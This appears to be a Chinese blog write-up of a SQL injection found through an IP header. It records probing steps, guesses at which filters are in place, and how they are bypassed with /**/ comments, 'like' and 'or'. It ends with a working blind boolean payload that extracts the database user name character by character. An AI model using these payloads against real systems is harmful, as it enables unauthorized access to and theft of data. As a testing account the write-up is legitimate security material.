这个注入挺特殊的，是ip头注入。我们进行简单的探测:
首先正常发起一次请求，我们发现content-type是76
探测注入我习惯性的一个单引号:
一个单引号我发现长度还是76
我开始尝试单引号，双引号一起:
我失败了长度还是76
一般sql注入输入单引号一般长度都会有些变化。
我记录深入探测，我输入'--%20
返回了200，并且长度是0，这让我产生了一丝好奇。这里很有可能存在注入哦。
我继续探测:
输入--%20
嘶!我不禁开始怀疑这里是不是本身就不存在安全问题呢？
我都感觉像是数字类型了，很显然不是。。因为假设是数字类型注入输入'--%20会报错。
那么究竟是什么问题呢？我觉得应该是过滤了注释符。过滤了--%20
我开始换一种方式进行探测:
我尝试输入'%20and%20'1'='1
返回200，长度为空，并且没有报false的提示，我觉得有戏，我尝试输入'%20and%20'1'='2
输出都一样。。。太坑了吧，这里我猜测可能过滤了and,也有可能过滤了空格
我们先把空格用+代替显示:
输入:'+and+'1'='1
返回长度还是76，继续输入:
'+and+'1'='2
没任何变化。好了+号测试了不行，我们试试还有啥方法可以代替空格?
输入'/**/and/**/'1'/**/=/**/'1:
返回长度76，继续输入:
'/**/and/**/'1'/**/=/**/'2
返回长度还是76。。没任何变化。
现在测试了三种方法，那么这里继续推测1.可能过滤了and 2.可能过滤了=号
基于这两种过滤，我开始尝试把and 替换成or，把=替换成/**/
再进行输入新的payload:
'/**/or/**/'1'/**/like/**/'1
oh!我感觉我有希望了，他终于返回了不一样的结果，接下来继续探测:
输入:'/**/or/**/'1'/**/like/**/'2
返回长度76，至此我可以很确认这是个sql注入。
现在我们在理清下思路:
1.使用like代替=
2.使用/**/代替空格
3.使用or代替and
然后我们构造如下payload进行探测数据库user:
'/***/OR/****/1/****/like/****/case/****/when/****/substr(user,1,1)/**/Like/***/'a'/**/then/**/1/****/else/****/exp(1111)/**/end/***/and/**/ '1'='1
成功遍历出数据库第一位是J:
然后我们依次往下遍历就是了就能得到完整的user内容。
简单的演示下整个注入的过程。
这次遇到的注入让我知道了，坚持就是胜利!
)